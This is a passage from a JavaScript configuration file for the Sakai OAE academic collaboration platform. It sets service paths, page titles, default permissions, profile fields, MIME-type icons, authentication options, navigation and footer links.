\"/var/contacts/findstate.infinity.json\",\n            SEARCH_USERS: \"/var/search/users.infinity.json\",\n            SEARCH_USERS_ALL: \"/var/search/users-all.json\",\n            SEARCH_USERS_GROUPS: \"/var/search/usersgroups.json\",\n            SEARCH_USERS_GROUPS_ALL: \"/var/search/usersgroups-all.json\",\n            USER_CHANGEPASS_SERVICE: \"/system/userManager/user/__USERID__.changePassword.html\",\n            USER_EXISTENCE_SERVICE: \"/system/userManager/user.exists.html?userid=__USERID__\"\n        },\n\n        PageTitles: {\n            \"prefix\": \"TITLE_PREFIX\",\n            \"pages\": {\n                /**  403.html  **/\n                /**  404.html  **/\n                /**  500.html  **/\n                /**  account_preferences.html  **/\n                \"/dev/account_preferences.html\": \"ACCOUNT_PREFERENCES\",\n                \"/preferences\": \"ACCOUNT_PREFERENCES\",\n                /**  acknowledgements.html  **/\n                \"/dev/acknowledgements.html\": \"ACKNOWLEDGEMENTS\",\n                \"/acknowledgements\": \"ACKNOWLEDGEMENTS\",\n                /**  allcategories.html  **/\n                \"/categories\": \"BROWSE_ALL_CATEGORIES\",\n                \"/dev/allcategories.html\": \"BROWSE_ALL_CATEGORIES\",\n                /**  category.html  **/\n                /**  content_profile.html  **/\n                \"/dev/content_profile.html\": \"CONTENT_PROFILE\",\n                \"/content\": \"CONTENT_PROFILE\",\n                /**  create_new_account.html  **/\n                \"/dev/create_new_account.html\": \"CREATE_A_NEW_ACCOUNT\",\n                \"/register\": \"CREATE_A_NEW_ACCOUNT\",\n                /**  explore.html  **/\n                \"/\": \"EXPLORE\",\n                \"/dev\": \"EXPLORE\",\n                \"/dev/\": \"EXPLORE\",\n                \"/index.html\": \"EXPLORE\",\n                \"/dev/explore.html\": \"EXPLORE\",\n                \"/index\": \"EXPLORE\",\n                /**  logout.html  **/\n                \"/dev/logout.html\": \"LOGGING_OUT\",\n                \"/logout\": \"LOGGING_OUT\",\n                /**  search.html  **/\n                \"/dev/search.html\": \"SEARCH\",\n                \"/search\": \"SEARCH\",\n                /**  createnew.html  **/\n                \"/create\": \"CREATE\"\n            }\n        },\n\n        ErrorPage: {\n            /*\n             * These links are displayed in the 403 and 404 error pages.\n             */\n            Links: {\n                whatToDo: [{\n                    \"title\": \"EXPLORE_THE_INSTITUTION\",\n                    \"url\": \"/index\"\n                }, {\n                    \"title\": \"BROWSE_INSTITUTION_CATEGORIES\",\n                    \"url\": \"/categories\"\n                }, {\n                    \"title\": \"VIEW_THE_INSTITUTION_WEBSITE\",\n                    \"url\": \"http://sakaiproject.org/\"\n                }, {\n                    \"title\": \"VISIT_THE_SUPPORT_FORUM\",\n                    \"url\": \"http://sakaiproject.org/\"\n                }],\n                getInTouch: [{\n                    \"title\": \"SEND_US_YOUR_FEEDBACK\",\n                    \"url\": \"http://sakaiproject.org/\"\n                }, {\n                    \"title\": \"CONTACT_SUPPORT\",\n                    \"url\": \"http://sakaiproject.org/\"\n                }]\n            }\n        },\n\n        Domain: {\n            /*\n             * These domain labels can be used anywhere on the site (i.e in the video\n             * widget) to convert common domains into shorter, more readable labels\n             * for display purposes.\n             */\n            Labels: {\n                \"youtube.com\": \"YouTube\",\n                \"www.youtube.com\": \"YouTube\",\n                \"youtube.co.uk\": \"YouTube\",\n                \"www.youtube.co.uk\": \"YouTube\",\n                \"vimeo.com\": \"Vimeo\",\n                \"www.vimeo.com\": \"Vimeo\",\n                \"vimeo.co.uk\": \"Vimeo\",\n                \"www.vimeo.co.uk\": \"Vimeo\",\n                \"video.google.com\": \"Google Video\"\n            }\n        },\n\n        SakaiDomain: window.location.protocol + \"//\" + window.location.host,\n\n        Permissions: {\n            /*\n             * A collection of permission keys and range of values to be referenced\n             * for making permissions decisions. The values of properties are only\n             * for reference, may not match designs and are not to be placed in the\n             * UI (message bundles should be used to match up-to-date designs).\n             */\n            Groups: {\n                joinable: {\n                    \"manager_add\": \"no\", // Managers add people\n                    \"user_direct\": \"yes\", // People can automatically join\n                    \"user_request\": \"withauth\" // People request to join\n                },\n                visible: {\n                    \"members\": \"members-only\", // Group members only (includes managers)\n                    \"allusers\": \"logged-in-only\", // All logged in users\n                    \"public\": \"public\" // Anyone on the Internet\n                },\n                \"defaultaccess\": \"public\", // public, logged-in-only or members-only (see above for role description)\n                \"defaultjoin\": \"yes\", // no, yes, or withauth (see above for descriptions)\n                \"addcontentmanagers\": true // true, false. If set to yes, group managers will be added as manager for a file \n                                           // added to a group library in context of that group\n            },\n            Content: {\n                /*\n                 * public - anyone\n                 * everyone - logged in users\n                 * private - private\n                 */\n                \"defaultaccess\": \"public\" // public, everyone or private (see above for role description)\n            },\n            Documents: {\n                /*\n                 * public - anyone\n                 * everyone - logged in users\n                 * private - private\n                 */\n                \"defaultaccess\": \"public\" // public, everyone or private (see above for role description)\n            },\n            Links: {\n                \"defaultaccess\": \"public\" // public, everyone or private (see above for role description)\n            },\n            Copyright: {\n                types: {\n                    \"creativecommons\": {\n                        \"title\": \"CREATIVE_COMMONS_LICENSE\"\n                    },\n                    \"copyrighted\": {\n                        \"title\": \"COPYRIGHTED\"\n                    },\n                    \"nocopyright\": {\n                        \"title\": \"NO_COPYRIGHT\"\n                    },\n                    \"licensed\": {\n                        \"title\": \"LICENSED\"\n                    },\n                    \"waivecopyright\": {\n                        \"title\": \"WAIVE_COPYRIGHT\"\n                    }\n                },\n                defaults: {\n                    \"content\": \"creativecommons\",\n                    \"sakaidocs\": \"creativecommons\",\n                    \"links\": \"creativecommons\",\n                    \"collections\": \"creativecommons\"\n                }\n            }\n        },\n\n        allowPasswordChange: true,\n\n        Profile: {\n            /*\n             * This is a collection of profile configuration functions and settings\n             * The structure of the config object is identical to the storage object\n             * When system/me returns profile data for the logged in user the profile_config and profile_data objects could be merged\n             * \"label\": the internationalizable message for the entry label in HTML\n             * \"required\": {Boolean} Whether the entry is compulsory or not\n             * \"display\": {Boolean} Show the entry in the profile or not\n             * \"editable\": {Boolean} Whether or not the entry is editable\n             * For a date entry field use \"date\" as the type for MM/dd/yyyy and \"dateITA\" as the type for dd/MM/yyyy\n             *\n             */\n            configuration: {\n\n                defaultConfig: {\n\n                    \"basic\": {\n                        \"label\": \"__MSG__PROFILE_BASIC_LABEL__\",\n                        \"required\": true,\n                        \"display\": true,\n                        \"access\": \"everybody\",\n                        \"modifyacl\": false,\n                        \"permission\": \"anonymous\",\n                        \"order\": 0,\n                        \"elements\": {\n                            \"firstName\": {\n                                \"label\": \"__MSG__PROFILE_BASIC_FIRSTNAME_LABEL__\",\n                                \"errorMessage\": \"__MSG__PROFILE_BASIC_FIRSTNAME_ERROR__\",\n                                \"required\": true,\n                                \"display\": true,\n                                \"limitDisplayWidth\": 300\n                            },\n                            \"lastName\": {\n                                \"label\": \"__MSG__PROFILE_BASIC_LASTNAME_LABEL__\",\n                                \"errorMessage\": \"__MSG__PROFILE_BASIC_LASTNAME_ERROR__\",\n                                \"required\": true,\n                                \"display\": true,\n                                \"limitDisplayWidth\": 300\n                            },\n                            \"picture\": {\n                                \"label\": \"__MSG__PROFILE_BASIC_PICTURE_LABEL__\",\n                                \"required\": false,\n                                \"display\": false\n                            },\n                            \"preferredName\": {\n                                \"label\": \"__MSG__PROFILE_BASIC_PREFERREDNAME_LABEL__\",\n                                \"required\": false,\n                                \"display\": true\n                            },\n                            \"email\": {\n                                \"label\": \"__MSG__PROFILE_BASIC_EMAIL_LABEL__\",\n                                \"errorMessage\": \"__MSG__PROFILE_BASIC_EMAIL_ERROR__\",\n                                \"required\": true,\n                                \"display\": true,\n                                \"validation\": \"email\"\n                            },\n                            \"status\": {\n                                \"label\": \"__MSG__PROFILE_BASIC_STATUS_LABEL__\",\n                                \"required\": false,\n                                \"display\": false\n                            },\n                            \"role\": {\n                                \"label\": \"__MSG__PROFILE_BASIC_ROLE_LABEL__\",\n                                \"required\": false,\n                                \"display\": true,\n                                \"type\": \"select\",\n                                \"select_elements\": {\n                                    \"academic_related_staff\": \"__MSG__PROFILE_BASIC_ROLE_ACADEMIC_RELATED_STAFF_LABEL__\",\n                                    \"academic_staff\": \"__MSG__PROFILE_BASIC_ROLE_ACADEMIC_STAFF_LABEL__\",\n                                    \"assistent_staff\": \"__MSG__PROFILE_BASIC_ROLE_ASSISTENT_STAFF_LABEL__\",\n                                    \"graduate_student\": \"__MSG__PROFILE_BASIC_ROLE_GRADUATE_STUDENT_LABEL__\",\n                                    \"undergraduate_student\": \"__MSG__PROFILE_BASIC_ROLE_UNDERGRADUATE_STUDENT_LABEL__\",\n                                    \"non_academic_staff\": \"__MSG__PROFILE_BASIC_ROLE_NON_ACADEMIC_STAFF_LABEL__\",\n                                    \"postgraduate_student\": \"__MSG__PROFILE_BASIC_ROLE_POSTGRADUATE_STUDENT_LABEL__\",\n                                    \"research_staff\": \"__MSG__PROFILE_BASIC_ROLE_RESEARCH_STAFF_LABEL__\",\n                                    \"other\": \"__MSG__PROFILE_BASIC_ROLE_OTHER_LABEL__\"\n                                }\n                            },\n                            \"department\": {\n                                \"label\": \"__MSG__PROFILE_BASIC_DEPARTMENT_LABEL__\",\n                                \"required\": false,\n                                \"display\": true\n                            },\n                            \"college\": {\n                                \"label\": \"__MSG__PROFILE_BASIC_COLLEGE_LABEL__\",\n                                \"required\": false,\n                                \"display\": true\n                            },\n                            \"tags\": {\n                                \"label\": \"__MSG__TAGS_AND_CATEGORIES__\",\n                                \"required\": false,\n                                \"display\": true,\n                                \"type\": \"tags\",\n                                \"tagField\": true\n                            }\n                        }\n                    },\n                    \"aboutme\": {\n                        \"label\": \"__MSG__PROFILE_ABOUTME_LABEL__\",\n                        \"required\": true,\n                        \"display\": true,\n                        \"access\": \"everybody\",\n                        \"modifyacl\": true,\n                        \"permission\": \"anonymous\",\n                        \"order\": 1,\n                        \"elements\": {\n                            \"aboutme\": {\n                                \"label\": \"__MSG__PROFILE_ABOUTME_LABEL__\",\n                                \"required\": false,\n                                \"display\": true,\n                                \"type\": \"textarea\"\n                            },\n                            \"academicinterests\": {\n                                \"label\": \"__MSG__PROFILE_ABOUTME_ACADEMICINTERESTS_LABEL__\",\n                                \"required\": false,\n                                \"display\": true,\n                                \"type\": \"textarea\"\n                            },\n                            \"personalinterests\": {\n                                \"label\": \"__MSG__PROFILE_ABOUTME_PERSONALINTERESTS_LABEL__\",\n                                \"required\": false,\n                                \"display\": true,\n                                \"type\": \"textarea\"\n                            },\n                            \"hobbies\": {\n                                \"label\": \"__MSG__PROFILE_ABOUTME_HOBBIES_LABEL__\",\n                                \"required\": false,\n                                \"display\": true\n                            }\n                        }\n                    },\n                    \"publications\": {\n                        \"label\": \"__MSG__PROFILE_PUBLICATIONS_LABEL__\",\n                        \"required\": false,\n                        \"display\": true,\n                        \"access\": \"everybody\",\n                        \"modifyacl\": true,\n                        \"permission\": \"anonymous\",\n                        \"multiple\": true,\n                        \"multipleLabel\": \"__MSG__PROFILE_PUBLICATION_LABEL__\",\n                        \"order\": 2,\n                        //\"template\": \"profile_section_publications_template\",\n                        \"elements\": {\n                            \"maintitle\": {\n                                \"label\": \"__MSG__PROFILE_PUBLICATIONS_MAIN_TITLE__\",\n                                \"required\": true,\n                                \"display\": true,\n                                \"example\": \"__MSG__PROFILE_PUBLICATIONS_MAIN_TITLE_EXAMPLE__\"\n                            },\n                            \"mainauthor\": {\n                                \"label\": \"__MSG__PROFILE_PUBLICATIONS_MAIN_AUTHOR__\",\n                                \"required\": true,\n                                \"display\": true\n                            },\n                            \"coauthor\": {\n                                \"label\": \"__MSG__PROFILE_PUBLICATIONS_CO_AUTHOR__\",\n                                \"required\": false,\n                                \"display\": true,\n                                \"example\": \"__MSG__PROFILE_PUBLICATIONS_CO_AUTHOR_EXAMPLE__\"\n                            },\n                            \"publisher\": {\n                                \"label\": \"__MSG__PROFILE_PUBLICATIONS_PUBLISHER__\",\n                                \"required\": true,\n                                \"display\": true\n                            },\n                            \"placeofpublication\": {\n                                \"label\": \"__MSG__PROFILE_PUBLICATIONS_PLACE_OF_PUBLICATION__\",\n                                \"required\": true,\n                                \"display\": true\n                            },\n                            \"volumetitle\": {\n                                \"label\": \"__MSG__PROFILE_PUBLICATIONS_VOLUME_TITLE__\",\n                                \"required\": false,\n                                \"display\": true\n                            },\n                            \"volumeinformation\": {\n                                \"label\": \"__MSG__PROFILE_PUBLICATIONS_VOLUME_INFORMATION__\",\n                                \"required\": false,\n                                \"display\": true,\n                                \"example\": \"__MSG__PROFILE_PUBLICATIONS_VOLUME_INFORMATION_EXAMPLE__\"\n                            },\n                            \"year\": {\n                                \"label\": \"__MSG__PROFILE_PUBLICATIONS_YEAR__\",\n                                \"required\": true,\n                                \"display\": true\n                            },\n                            \"number\": {\n                                \"label\": \"__MSG__PROFILE_PUBLICATIONS_NUMBER__\",\n                                \"required\": false,\n                                \"display\": true\n                            },\n                            \"series title\": {\n                                \"label\": \"__MSG__PROFILE_PUBLICATIONS_SERIES_TITLE__\",\n                                \"required\": false,\n                                \"display\": true\n                            },\n                            \"url\": {\n                                \"label\": \"__MSG__PROFILE_PUBLICATIONS_URL__\",\n                                \"required\": false,\n                                \"display\": true,\n                                \"validation\": \"appendhttp url\"\n                            }\n                        }\n                    }\n                }\n            },\n            /*\n             * set what name to display where only the first name is used\n             */\n            userFirstNameDisplay: \"firstName\",\n\n            /*\n             * set how the user's name is displayed across the entire system\n             * - values can be compound, like \"firstName lastName\" or singular like \"displayName\"\n             */\n            userNameDisplay: \"firstName lastName\",\n\n            /*\n             * the default, if the user doesn't have the userNameDisplay property set in their\n             * profile, use this one.\n             * Note: the value for userNameDisplay and this value can be the same.\n             *       If neither exists, nothing will show\n             */\n            userNameDefaultDisplay: \"firstName lastName\",\n\n            /*\n             * Set the default user settings in account preferences for automatic tagging\n             * and auto-tagged notifications\n             */\n            defaultAutoTagging: true,\n            defaultSendTagMsg: true\n        },\n\n        Groups: {\n            /*\n             * Email message that will be sent to group managers when a user requests\n             * to join their group.\n             * ${user} will be replaced by the name of the requesting user and ${group}\n             * will be replaced with the group name.\n             */\n            JoinRequest: {\n                title: \"${user} has requested to join your group: ${group}\",\n                body: \"${user} has requested to join your group: ${group}. Use the links below to respond to this request.\"\n            }\n        },\n\n        Relationships: {\n            /*\n             * Relationships used by the add contacts widget to define what relationship the contacts can have\n             */\n            \"contacts\": [{\n                \"name\": \"__MSG__CLASSMATE__\",\n                \"definition\": \"__MSG__IS_MY_CLASSMATE__\",\n                \"selected\": true\n            }, {\n                \"name\": \"__MSG__SUPERVISOR__\",\n                \"inverse\": \"__MSG__SUPERVISED__\",\n                \"definition\": \"__MSG__IS_MY_SUPERVISOR__\",\n                \"selected\": false\n            }, {\n                \"name\": \"__MSG__SUPERVISED__\",\n                \"inverse\": \"__MSG__SUPERVISOR__\",\n                \"definition\": \"__MSG__IS_SUPERVISED_BY_ME__\",\n                \"selected\": false\n            }, {\n                \"name\": \"__MSG__LECTURER__\",\n                \"inverse\": \"__MSG__STUDENT__\",\n                \"definition\": \"__MSG__IS_MY_LECTURER__\",\n                \"selected\": false\n            }, {\n                \"name\": \"__MSG__STUDENT__\",\n                \"inverse\": \"__MSG__LECTURER__\",\n                \"definition\": \"__MSG__IS_MY_STUDENT__\",\n                \"selected\": false\n            }, {\n                \"name\": \"__MSG__COLLEAGUE__\",\n                \"definition\": \"__MSG__IS_MY_COLLEAGUE__\",\n                \"selected\": false\n            }, {\n                \"name\": \"__MSG__COLLEGE_MATE__\",\n                \"definition\": \"__MSG__IS_MY_COLLEGE_MATE__\",\n                \"selected\": false\n            }, {\n                \"name\": \"__MSG__SHARES_INTERESTS__\",\n                \"definition\": \"__MSG__SHARES_INTEREST_WITH_ME__\",\n                \"selected\": false\n            }]\n        },\n\n        SystemTour: {\n            \"enableReminders\": true,\n            \"reminderIntervalHours\": \"168\"\n        },\n\n        enableBranding: true,\n\n        // Set this to true if you have an authentication system such as CAS\n        // that needs to redirect the user's browser on logout\n        followLogoutRedirects: false,\n\n        // Set this to the hostname of your CLE instance if you're using CAS\n        // proxy tickets\n        hybridCasHost: false,\n\n        Messages: {\n            Types: {\n                inbox: \"inbox\",\n                sent: \"sent\",\n                trash: \"trash\"\n            },\n            Categories: {\n                message: \"Message\",\n                announcement: \"Announcement\",\n                chat: \"Chat\",\n                invitation: \"Invitation\"\n            },\n            Subject: \"subject\",\n            Type: \"type\",\n            Body: \"body\",\n            To: \"to\",\n            read: \"read\"\n        },\n        Extensions:{\n            \"docx\":\"application/doc\",\n            \"doc\":\"application/doc\",\n            \"odt\":\"application/doc\",\n            \"ods\":\"application/vnd.ms-excel\",\n            \"xls\":\"application/vnd.ms-excel\",\n            \"xlsx\":\"application/vnd.ms-excel\",\n            \"odp\":\"application/vnd.ms-powerpoint\",\n            \"ppt\":\"application/vnd.ms-powerpoint\",\n            \"pptx\":\"application/vnd.ms-powerpoint\",\n            \"odg\":\"image/jpeg\",\n            \"png\":\"image/png\",\n            \"jp2\":\"images/jp2\",\n            \"jpg\":\"image/jpeg\",\n            \"jpeg\":\"image/jpeg\",\n            \"bmp\":\"image/bmp\",\n            \"gif\":\"image/gif\",\n            \"tif\":\"image/tiff\",\n            \"tiff\":\"images/tiff\",\n            \"pdf\":\"application/x-pdf\",\n            \"swf\":\"application/x-shockwave-flash\",\n            \"flv\":\"video/x-msvideo\",\n            \"mpg\":\"video/x-msvideo\",\n            \"mpeg\":\"video/x-msvideo\",\n            \"mp4\":\"video/x-msvideo\",\n            \"avi\":\"video/x-msvideo\",\n            \"mov\":\"video/x-msvideo\",\n            \"txt\":\"text/rtf\",\n            \"rtf\":\"text/rtf\",\n            \"htm\":\"text/html\",\n            \"html\":\"text/html\",\n            \"wav\": \"audio/x-wav\",\n            \"mp3\": \"audio/mpeg\",\n            \"tar\": \"application/zip\",\n            \"zip\": \"application/zip\",\n            \"other\":\"other\"\n        },\n        MimeTypes: {\n            \"application/doc\": {\n                cssClass: \"icon-doc-sprite\",\n                URL: \"/dev/images/mimetypes/doc.png\",\n                description: \"WORD_DOCUMENT\"\n            },\n            \"application/msword\": {\n                cssClass: \"icon-doc-sprite\",\n                URL: \"/dev/images/mimetypes/doc.png\",\n                description: \"WORD_DOCUMENT\"\n            },\n            \"application/vnd.openxmlformats-officedocument.wordprocessingml.document\": {\n                cssClass: \"icon-doc-sprite\",\n                URL: \"/dev/images/mimetypes/doc.png\",\n                description: \"WORD_DOCUMENT\"\n            },\n            \"application/pdf\": {\n                cssClass: \"icon-pdf-sprite\",\n                URL: \"/dev/images/mimetypes/pdf.png\",\n                description: \"PDF_DOCUMENT\"\n            },\n            \"application/x-download\": {\n                cssClass: \"icon-pdf-sprite\",\n                URL: \"/dev/images/mimetypes/pdf.png\",\n                description: \"PDF_DOCUMENT\"\n            },\n            \"application/x-pdf\": {\n                cssClass: \"icon-pdf-sprite\",\n                URL: \"/dev/images/mimetypes/pdf.png\",\n                description: \"PDF_DOCUMENT\"\n            },\n            \"application/vnd.ms-powerpoint\": {\n                cssClass: \"icon-pps-sprite\",\n                URL: \"/dev/images/mimetypes/pps.png\",\n                description: \"POWERPOINT_DOCUMENT\"\n            },\n            \"application/vnd.openxmlformats-officedocument.presentationml.presentation\": {\n                cssClass: \"icon-pps-sprite\",\n                URL: \"/dev/images/mimetypes/pps.png\",\n                description: \"POWERPOINT_DOCUMENT\"\n            },\n            \"application/vnd.oasis.opendocument.text\": {\n                cssClass: \"icon-doc-sprite\",\n                URL: \"/dev/images/mimetypes/doc.png\",\n                description: \"OPEN_OFFICE_DOCUMENT\"\n            },\n            \"application/vnd.oasis.opendocument.presentation\": {\n                cssClass: \"icon-pps-sprite\",\n                URL: \"/dev/images/mimetypes/pps.png\",\n                description: \"OPEN_OFFICE_PRESENTATION\"\n            },\n            \"application/vnd.oasis.opendocument.spreadsheet\": {\n                cssClass: \"icon-pps-sprite\",\n                URL: \"/dev/images/mimetypes/spreadsheet.png\",\n                description: \"OPEN_OFFICE_SPREADSHEET\"\n            },\n\n            \"application/x-shockwave-flash\": {\n                cssClass: \"icon-swf-sprite\",\n                URL: \"/dev/images/mimetypes/swf.png\",\n                description: \"FLASH_PLAYER_FILE\"\n            },\n            \"application/zip\": {\n                cssClass: \"icon-zip-sprite\",\n                URL: \"/dev/images/mimetypes/zip.png\",\n                description: \"ARCHIVE_FILE\"\n            },\n            \"application/x-zip-compressed\": {\n                cssClass: \"icon-zip-sprite\",\n                URL: \"/dev/images/mimetypes/zip.png\",\n                description: \"ARCHIVE_FILE\"\n            },\n            \"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\": {\n                cssClass: \"icon-spreadsheet-sprite\",\n                URL: \"/dev/images/mimetypes/spreadsheet.png\",\n                description: \"SPREADSHEET_DOCUMENT\"\n            },\n            \"application/vnd.ms-excel\": {\n                cssClass: \"icon-spreadsheet-sprite\",\n                URL: \"/dev/images/mimetypes/spreadsheet.png\",\n                description: \"SPREADSHEET_DOCUMENT\"\n            },\n            \"audio/x-wav\": {\n                cssClass: \"icon-audio-sprite\",\n                URL: \"/dev/images/mimetypes/sound.png\",\n                description: \"SOUND_FILE\"\n            },\n            \"audio/mpeg\": {\n                cssClass: \"icon-audio-sprite\",\n                URL: \"/dev/images/mimetypes/sound.png\",\n                description: \"SOUND_FILE\"\n            },\n            \"text/plain\": {\n                cssClass: \"icon-txt-sprite\",\n                URL: \"/dev/images/mimetypes/txt.png\",\n                description: \"TEXT_DOCUMENT\"\n            },\n            \"text/rtf\": {\n                cssClass: \"icon-txt-sprite\",\n                URL: \"/dev/images/mimetypes/txt.png\",\n                description: \"TEXT_DOCUMENT\"\n            },\n            \"image/png\": {\n                cssClass: \"icon-image-sprite\",\n                URL: \"/dev/images/mimetypes/images.png\",\n                description: \"PNG_IMAGE\"\n            },\n            \"image/bmp\": {\n                cssClass: \"icon-image-sprite\",\n                URL: \"/dev/images/mimetypes/images.png\",\n                description: \"BMP_IMAGE\"\n            },\n            \"image/gif\": {\n                cssClass: \"icon-image-sprite\",\n                URL: \"/dev/images/mimetypes/images.png\",\n                description: \"GIF_IMAGE\"\n            },\n            \"image/jp2\": {\n                cssClass: \"icon-image-sprite\",\n                URL: \"/dev/images/mimetypes/images.png\",\n                description: \"JPG2000_IMAGE\"\n            },\n            \"image/jpeg\": {\n                cssClass: \"icon-image-sprite\",\n                URL: \"/dev/images/mimetypes/images.png\",\n                description: \"JPG_IMAGE\"\n            },\n            \"image/pjpeg\": {\n                cssClass: \"icon-image-sprite\",\n                URL: \"/dev/images/mimetypes/images.png\",\n                description: \"JPG_IMAGE\"\n            },\n            \"image/tiff\": {\n                cssClass: \"icon-image-sprite\",\n                URL: \"/dev/images/mimetypes/images.png\",\n                description: \"TIFF_IMAGE\"\n            },\n            \"text/html\": {\n                cssClass: \"icon-html-sprite\",\n                URL: \"/dev/images/mimetypes/html.png\",\n                description: \"HTML_DOCUMENT\"\n            },\n            \"video/x-msvideo\": {\n                cssClass: \"icon-video-sprite\",\n                URL: \"/dev/images/mimetypes/video.png\",\n                description: \"VIDEO_FILE\"\n            },\n            \"video/mp4\": {\n                cssClass: \"icon-video-sprite\",\n                URL: \"/dev/images/mimetypes/video.png\",\n                description: \"VIDEO_FILE\"\n            },\n            \"video/quicktime\": {\n                cssClass: \"icon-video-sprite\",\n                URL: \"/dev/images/mimetypes/video.png\",\n                description: \"VIDEO_FILE\"\n            },\n            \"video/x-ms-wmv\": {\n                cssClass: \"icon-video-sprite\",\n                URL: \"/dev/images/mimetypes/video.png\",\n                description: \"VIDEO_FILE\"\n            },\n            \"folder\": {\n                cssClass: \"icon-kmultiple-sprite\",\n                URL: \"/dev/images/mimetypes/kmultiple.png\",\n                description: \"FOLDER\"\n            },\n            \"x-sakai/link\": {\n                cssClass: \"icon-url-sprite\",\n                URL: \"/dev/images/mimetypes/html.png\",\n                description: \"URL_LINK\"\n            },\n            \"x-sakai/document\": {\n                cssClass: \"icon-sakaidoc-sprite\",\n                URL: \"/dev/images/mimetypes/sakaidoc.png\",\n                description: \"DOCUMENT\"\n            },\n            \"x-sakai/collection\": {\n                cssClass: \"icon-collection-sprite\",\n                URL: \"/dev/images/mimetypes/collection2.png\",\n                description: \"COLLECTION\"\n            },\n            \"kaltura/video\": {\n                cssClass: \"icon-video-sprite\",\n                URL: \"/dev/images/mimetypes/video.png\",\n                description: \"VIDEO_FILE\"\n            },\n            \"kaltura/audio\": {\n                cssClass: \"icon-sound-sprite\",\n                URL: \"/dev/images/mimetypes/sound.png\",\n                description: \"SOUND_FILE\"\n            },\n            \"other\": {\n                cssClass: \"icon-unknown-sprite\",\n                URL: \"/dev/images/mimetypes/unknown.png\",\n                description: \"OTHER_DOCUMENT\"\n            }\n        },\n\n        Authentication: {\n            \"allowInternalAccountCreation\": true,\n            \"internal\": true,\n            \"external\": [{\n                label: \"External Login System 1\",\n                url: \"http://external.login1.com/\"\n            }, {\n                label: \"External Login System 2\",\n                url: \"http://external.login2.com/\"\n            }],\n            \"hideLoginOn\": [\"/dev\", \"/dev/index.html\", \"/dev/create_new_account.html\"]\n        },\n\n        notification: {\n            type: {\n                ERROR: {\n                    image: \"/dev/images/notifications_exclamation_icon.png\",\n                    time: 10000\n                },\n                INFORMATION: {\n                    image: \"/dev/images/notifications_info_icon.png\",\n                    time: 5000\n                }\n            }\n        },\n\n        Navigation: [{\n            \"url\": \"/me#l=dashboard\",\n            \"id\": \"navigation_you_link\",\n            \"anonymous\": false,\n            \"label\": \"YOU\",\n            \"append\": \"messages\",\n            \"subnav\": [{\n                \"url\": \"/me#l=dashboard\",\n                \"id\": \"subnavigation_home_link\",\n                \"label\": \"MY_HOME\"\n            }, {\n                \"url\": \"/me#l=messages/inbox\",\n                \"id\": \"subnavigation_messages_link\",\n                \"label\": \"MY_MESSAGES\"\n            }, {\n                \"id\": \"subnavigation_hr\"\n            }, {\n                \"url\": \"/me#l=profile/basic\",\n                \"id\": \"subnavigation_profile_link\",\n                \"label\": \"MY_PROFILE\"\n            }, {\n                \"url\": \"/me#l=library\",\n                \"id\": \"subnavigation_content_link\",\n                \"label\": \"MY_LIBRARY\"\n            }, {\n                \"url\": \"/me#l=memberships\",\n                \"id\": \"subnavigation_memberships_link\",\n                \"label\": \"MY_MEMBERSHIPS\"\n            }, {\n                \"url\": \"/me#l=contacts\",\n                \"id\": \"subnavigation_contacts_link\",\n                \"label\": \"MY_CONTACTS_CAP\"\n            }]\n        }, {\n            \"url\": \"#\",\n            \"id\": \"navigation_create_and_add_link\",\n            \"anonymous\": false,\n            \"label\": \"CREATE_AND_COLLECT\",\n            \"append\": \"collections\",\n            \"subnav\": [{\n                \"id\": \"subnavigation_add_content_link\",\n                \"label\": \"ADD_CONTENT\",\n                \"url\": \"#\"\n            }, {\n                \"id\": \"subnavigation_add_collection_link\",\n                \"label\": \"ADD_COLLECTION\",\n                \"url\": \"#\"\n            }, {\n                \"id\": \"subnavigation_hr\"\n            }]\n        }, {\n            \"url\": \"/index\",\n            \"id\": \"navigation_explore_link\",\n            \"anonymous\": false,\n            \"label\": \"EXPLORE\",\n            \"subnav\": [{\n                \"id\": \"subnavigation_explore_categories_link\",\n                \"label\": \"BROWSE_ALL_CATEGORIES\",\n                \"url\": \"/categories\"\n            },{\n                \"id\": \"subnavigation_hr\"\n            },{\n                \"id\": \"subnavigation_explore_content_link\",\n                \"label\": \"CONTENT\",\n                \"url\": \"/search#l=content\"\n            }, {\n                \"id\": \"subnavigation_explore_people_link\",\n                \"label\": \"PEOPLE\",\n                \"url\": \"/search#l=people\"\n            }]\n        }, {\n            \"url\": \"/index\",\n            \"id\": \"navigation_anon_explore_link\",\n            \"anonymous\": true,\n            \"label\": \"EXPLORE\",\n            \"subnav\": [{\n                \"id\": \"subnavigation_explore_categories_link\",\n                \"label\": \"BROWSE_ALL_CATEGORIES\",\n                \"url\": \"/categories\"\n            },{\n                \"id\": \"subnavigation_hr\"\n            },{\n                \"id\": \"subnavigation_explore_content_link\",\n                \"label\": \"CONTENT\",\n                \"url\": \"/search#l=content\"\n            }, {\n                \"id\": \"subnavigation_explore_people_link\",\n                \"label\": \"PEOPLE\",\n                \"url\": \"/search#l=people\"\n            }]\n        }, {\n            \"url\": \"/register\",\n            \"id\": \"navigation_anon_signup_link\",\n            \"anonymous\": true,\n            \"label\": \"SIGN_UP\"\n        }],\n\n        Footer: {\n            leftLinks: [{\n                \"title\": \"__MSG__COPYRIGHT__\",\n                \"href\": \"http://sakaiproject.org/foundation-licenses\",\n                \"newWindow\": true\n            }, {\n                \"title\": \"__MSG__HELP__\",\n                \"href\": \"http://sakaiproject.org/node/2307\",\n                \"newWindow\": true\n            }, {\n                \"title\": \"__MSG__ACKNOWLEDGEMENTS__\",\n                \"href\": \"/acknowledgements\"\n            }, {\n                \"title\": \"__MSG__SUGGEST_AN_IMPROVEMENT__\",\n                \"href\": \"http://sakaioae.idea.informer.com/\",\n                \"newWindow\": true\n            }],\n            rightLinks: [{\n                \"title\": \"__MSG__BROWSE__\",\n                \"href\": \"/categories\"\n            }, {\n                \"title\": \"__MSG__EXPLORE__\",\n                \"href\": \"/\"\n            }]\n        },\n\n        /*\n         * Are anonymous users allowed to browse/search\n         */\n        anonAllowed: true,\n        /*\n         * List of pages that require a logged in user\n         */\n        requireUser: [\"/me\", \"/dev/me.html\", \"/dev/search_sakai2.html\", \"/create\", \"/dev/createnew.html\"],\n\n        /*\n         * List of pages that require an anonymous user\n         */\n        requireAnonymous: [\"/register\", \"/dev/create_new_account.html\"],\n        /*\n         * List of pages that will be added to requireUser if\n         * anonAllowed is false\n         */\n        requireUserAnonNotAllowed: [\"/me\", \"/dev/me.html\", \"/dev/search_sakai2.html\"],\n        /*\n         * List of pages that will be added to requireAnonymous if\n         * anonAllowed is false\n         */\n        requireAnonymousAnonNotAllowed: 